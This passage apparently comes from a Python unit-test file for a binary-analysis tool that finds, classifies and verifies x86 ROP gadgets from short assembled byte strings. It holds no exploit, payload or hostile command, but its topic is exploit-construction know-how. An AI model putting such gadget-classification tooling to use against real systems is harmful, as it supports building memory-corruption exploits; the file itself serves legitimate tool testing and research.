self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_3(self):
# testing : dst_reg <- m[src_reg + offset]
binary = "\x8b\x88\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [eax+0x100]
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_4(self):
# testing : dst_reg <- m[dst_reg]
binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx]
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_5(self):
# testing : dst_reg <- m[dst_reg + offset]
binary = "\x8b\x89\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [ecx+0x100]
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
# def test_load_memory_6(self):
# # FIXME:
# # testing : dst_reg <- m[dst_reg + offset]
# binary = "\x5c\xc3" # pop esp ; ret
# # binary = "\x8b\x89\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [ecx+0x100]
# # binary += "\xc3" # 0x06 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000001)
# g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
# self.assertEquals(len(g_candidates), 2)
# self.assertEquals(len(g_classified), 1)
# self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
# self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)])
# self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
# self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
def test_store_memory_1(self):
# testing : m[dst_reg] <- src_reg
binary = "\x89\x18" # 0x00 : (2) mov dword ptr [eax], ebx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_2(self):
# testing : m[offset] <- src_reg
binary = "\x89\x0d\xef\xbe\xad\xde" # 0x00 : (6) mov dword ptr [0xdeadbeef], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_3(self):
# testing : m[dst_reg + offset] <- src_reg
binary = "\x89\x88\x00\x01\x00\x00" # 0x00 : (6) mov dword ptr [eax+0x100], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_4(self):
# testing : m[dst_reg] <- dst_reg
binary = "\x89\x09" # 0x00 : (2) mov dword ptr [ecx], ecx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_5(self):
# testing : m[dst_reg + offset] <- dst_reg
binary = "\x89\x89\x00\x01\x00\x00" # 0x00 : (6) mov dword ptr [ecx+0x100], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_6(self):
# testing : m[dst_reg + offset] <- dst_reg
binary = "\x00\x00" # 0x00 : (2) add byte ptr [eax], al
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("al", 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)])
# self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
def test_arithmetic_load_add_1(self):
# testing : dst_reg <- dst_reg + mem[src_reg]
binary = "\x03\x03" # 0x00 : (2) add eax, dword ptr [ebx]
binary += "\xc3" # 0x00 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_load_add_2(self):
# testing : dst_reg <- dst_reg + mem[offset]
binary = "\x03\x05\xef\xbe\xad\xde" # 0x00 : (6) add eax, dword ptr [0xdeadbeef]
binary += "\xc3" # 0x01 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_load_add_3(self):
# testing : dst_reg <- dst_reg + mem[src_reg + offset]
binary = "\x03\x83\x00\x01\x00\x00" # 0x00 : (6) add eax, dword ptr [ebx+0x100]
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[2])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 3)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_load_add_4(self):
# testing : dst_reg <- dst_reg + mem[dst_reg]
binary = "\x03\x09" # 0x00 : (2) add ecx, dword ptr [ecx]
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_load_add_5(self):
# testing : dst_reg <- dst_reg + mem[dst_reg + offset]
binary = "\x03\x89\x00\x01\x00\x00" # 0x00 : (6) add ecx, dword ptr [ecx+0x100]
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_1(self):
# testing : m[dst_reg] <- m[dst_reg] + src_reg
binary = "\x01\x18" # 0x02 : (2) add dword ptr [eax], ebx
binary += "\xc3" # 0x02 : (2) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_2(self):
# testing : m[offset] <- m[offset] + src_reg
binary = "\x01\x0d\xef\xbe\xad\xde" # 0x00 : (6) add dword ptr [0xdeadbeef], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32), ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_3(self):
# testing : m[dst_reg + offset] <- m[dst_reg + offset] + src_reg
binary = "\x01\x88\x00\x01\x00\x00" # 0x00 : (6) add dword ptr [eax+0x100], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32), ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_4(self):
# testing : m[dst_reg] <- m[dst_reg] + dst_reg
binary = "\x01\x09" # 0x00 : (2) add dword ptr [ecx], ecx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_5(self):
# testing : m[dst_reg + offset] <- m[dst_reg + offset] + dst_reg
binary = "\x01\x89\x00\x01\x00\x00" # 0x00 : (6) add dword ptr [ecx+0x100], ecx
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32), ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_no_classification_1(self):
binary = "\xc7\x40\x24\x00\x00\x00\x00" # 0x00 : (7) mov dword ptr [eax+0x24], 0x0
binary += "\xc7\x40\x20\x00\x00\x00\x00" # 0x07 : (7) mov dword ptr [eax+0x20], 0x0
binary += "\xc3" # 0x0e : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x0000000e)
g_classified = self._g_classifier.classify(g_candidates[2])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 3)
self.assertEquals(len(g_classified), 0)
def print_candidates(self, candidates):
print "Candidates :"
for gadget in candidates:
print gadget
print "-" * 10
def print_classified(self, classified):
print "Classified :"
for gadget in classified:
print gadget
print gadget.type
print "-" * 10
class GadgetVerifierTests(unittest.TestCase):
def setUp(self):
self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_32)
self._smt_solver = SmtSolver()
self._smt_translator = SmtTranslator(self._smt_solver, self._arch_info.address_size)
self._ir_emulator = ReilEmulator(self._arch_info)
self._smt_translator.set_arch_alias_mapper(self._arch_info.alias_mapper)
self._smt_translator.set_arch_registers_size(self._arch_info.registers_size)
self._code_analyzer = CodeAnalyzer(self._smt_solver, self._smt_translator, self._arch_info)
self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info)
self._g_verifier = GadgetVerifier(self._code_analyzer, self._arch_info)
# FIXME: Don't take into account esp modification because of RET instruction.
# def test_nop_1(self):
# # testing : nop
# binary = "\x90" # 0x00 : (1) nop
# binary += "\xc3" # 0x00 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000001)
# g_classified = self._g_classifier.classify(g_candidates[0])
# # self.print_candidates(g_candidates)
# # self.print_classified(g_classified)
# verified = self._g_verifier.verify(g_classified[0])
# self.assertEquals(len(g_candidates), 1)
# self.assertEquals(len(g_classified), 1)
# self.assertTrue(verified)
# self.assertEquals(g_classified[0].type, GadgetType.NoOperation)
# self.assertEquals(g_classified[0].sources, [])
# self.assertEquals(g_classified[0].destination, [])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
# FIXME: Don't take into account esp modification because of RET instruction.
# def test_nop_2(self):
# # testing : nop
# binary = "\x39\xd8" # 0x00 : (2) cmp eax, ebx
# binary += "\xc3" # 0x02 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000002)
# g_classified = self._g_classifier.classify(g_candidates[0])
# # self.print_candidates(g_candidates)
# # self.print_classified(g_classified)
# verified = self._g_verifier.verify(g_classified[0])
# self.assertEquals(len(g_candidates), 1)
# self.assertEquals(len(g_classified), 1)
# self.assertFalse(verified)
# self.assertEquals(g_classified[0].type, GadgetType.NoOperation)
# self.assertEquals(g_classified[0].sources, [])
# self.assertEquals(g_classified[0].destination, [])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
# FIXME: Don't take into account esp modification because of RET instruction.
# def test_nop_3(self):
# # testing : nop
# binary = "\x08\xc9" # 0x00 : (2) or cl, cl
# binary += "\xc3" # 0x02 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000002)
# g_classified = self._g_classifier.classify(g_candidates[1])
# # self.print_candidates(g_candidates)
# # self.print_classified(g_classified)
# verified = self._g_verifier.verify(g_classified[0])
# self.assertEquals(len(g_candidates), 2)
# self.assertEquals(len(g_classified), 1)
# self.assertTrue(verified)
# self.assertEquals(g_classified[0].type, GadgetType.NoOperation)
# self.assertEquals(g_classified[0].sources, [])
# self.assertEquals(g_classified[0].destination, [])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
def test_move_register(self):
binary = "\x89\xd8" # 0x00 : (2) mov eax, ebx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_two_accesses_1(self):
# testing : dst_reg <- m[dst_reg + offset]
binary = "\x58" # 0x00 : (1) pop eax
binary += "\x5b" # 0x01 : (1) pop ebx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("esp", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[1].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_load_memory_two_accesses_2(self):
# testing : dst_reg <- m[dst_reg + offset]
binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx]
binary += "\x03\x03" # 0x02 : (2) add eax, dword ptr [ebx]
binary += "\xc3" # 0x04 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 3)
self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_store_memory_two_accesses_1(self):
# testing : m[dst_reg + offset] <- dst_reg
binary = "\x50" # 0x00 : (1) push eax
binary += "\x53" # 0x01 : (1) push ebx
binary += "\xc3" # 0x02 : (1) ret
